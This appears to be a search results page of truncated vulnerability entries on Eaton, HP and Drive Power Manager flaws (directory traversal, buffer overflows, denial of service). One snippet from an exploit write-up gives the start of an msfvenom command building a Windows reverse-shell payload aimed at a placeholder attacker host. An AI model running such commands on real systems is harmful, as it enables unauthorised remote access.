343 matches found
Eaton Intelligent Power Manager 1.6 - Directory Traversal
Eaton Intelligent Power Manager v1.6 allows an attacker to include a file via directory traversal, which can lead to sensitive information disclosure, denial of service and code execution. id: CVE-2018-12031 info: name: Eaton Intelligent Power Manager 1.6 - Directory Traversal author: daffainfo...
Eaton-Intelligent-Power-Manager-Local-File-Inclusion
Eaton-Intelligent-Power-Manager-Local-File-Inclusion Inclusión de archivo local en Eaton Intelligent Power Manager v1.6 permite a un atacante incluir un archivo, lo que puede provocar divulgación de información sensible, denegación de servicio y ejecución de código. CVE-2018-12031 Para explotar l...
CVE-2009-3999
CVE-2009-3999 Exploit de HP Power Manager 4.2 Build 7 inspirado por https://github.com/CountablyInfinite/HP-Power-Manager-Buffer-Overflow-Python3 PASO 1 msfvenom -p windows/shellreversetcp LHOST=YOUR-KALI-LINUX-IP LPORT=80 EXITFUNC=thread -b '\x00\x1a\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x...
CVE-2009-3999-HP-Power-Manager-4.2-Build-7-Buffer-Overflow
Como parte de mi preparación para el OSCP, me encontré con el exploit de desbordamiento de búfer CVE-2009-3999 HP Power Manager 4.2 Build 7. Este script actualizado resuelve problemas de compatibilidad con Python 3 en el manejo de cadenas y bytes, asegurando que el payload se transmita como binar...
Exploit for Improper Restriction of Operations within the Bounds of a Memory Buffer in Hp Power_Manager
As part of my OSCP preparation I came across CVE-2009-3999 HP P...
CVE-2018-25287
Drive Power Manager 1.10 contains a buffer overflow vulnerability that allows local attackers to crash the application by supplying an excessively long string in the Name field. Attackers can paste a 6000-byte payload into the Name field and click Register to trigger a denial of service condition...
CVE-2018-25287 Drive Power Manager 1.10 Denial of Service via Name Field
Drive Power Manager 1.10 contains a buffer overflow vulnerability that allows local attackers to crash the application by supplying an excessively long string in the Name field. Attackers can paste a 6000-byte payload into the Name field and click Register to trigger a denial of service condition...
CVE-2018-25287
CVE-2018-25287 involves Drive Power Manager 1.10 with a local-buffer overflow in the Name field. The description states that an excessively long string can crash the application; specifically, a 6000-byte payload pasted into Name and registered can trigger a denial-of-service condition. The avail...
EUVD-2018-21807
Drive Power Manager 1.10 contains a buffer overflow vulnerability that allows local attackers to crash the application by supplying an excessively long string in the Name field. Attackers can paste a 6000-byte payload into the Name field and click Register to trigger a denial of service condition...
CVE-2018-25287 Drive Power Manager 1.10 Denial of Service via Name Field
Drive Power Manager 1.10 contains a buffer overflow vulnerability that allows local attackers to crash the application by supplying an excessively long string in the Name field. Attackers can paste a 6000-byte payload into the Name field and click Register to trigger a denial of service condition...
HD Tune Drive Power Manager 安全漏洞
HD Tune Drive Power Manager is a disk control tool developed by HD Tune Corporation, designed to manage hard drive power status and energy-saving strategies. Version 1.10 of HD Tune Drive Power Manager contains a security vulnerability. This vulnerability stems from a buffer overflow issue when...
CVE-2018-25287: Buffer Copy without Checking Size of Input
Drive Power Manager 1.10 contains a buffer overflow vulnerability that allows local attackers to crash the application by supplying an excessively long string in the Name field. Attackers can paste a 6000-byte payload into the Name field and click Register to trigger a denial of service condition...
PT-2026-35257
Drive Power Manager 1.10 contains a buffer overflow vulnerability that allows local attackers to crash the application by supplying an excessively long string in the Name field. Attackers can paste a 6000-byte payload into the Name field and click Register to trigger a denial of service condition...
CVE2009-2585_HP_Power_Manager_BoF
CVE2009-2585HPPowerManagerBoF This repository contains a P...
HP-Power-Manager-exploit
No d...
Exploit for Improper Restriction of Operations within the Bounds of a Memory Buffer in Hp Power_Manager
CVE-2009-3999 HP Power Manager 4.2 Build 7 exploit inspire...
CVE-2018-12031
Local file inclusion in Eaton Intelligent Power Manager v1.6 allows an attacker to include a file via server/nodeupgradesrv.js directory traversal with the firmware parameter in a downloadFirmware action...
EUVD-2021-10371
Malware in sbrugna...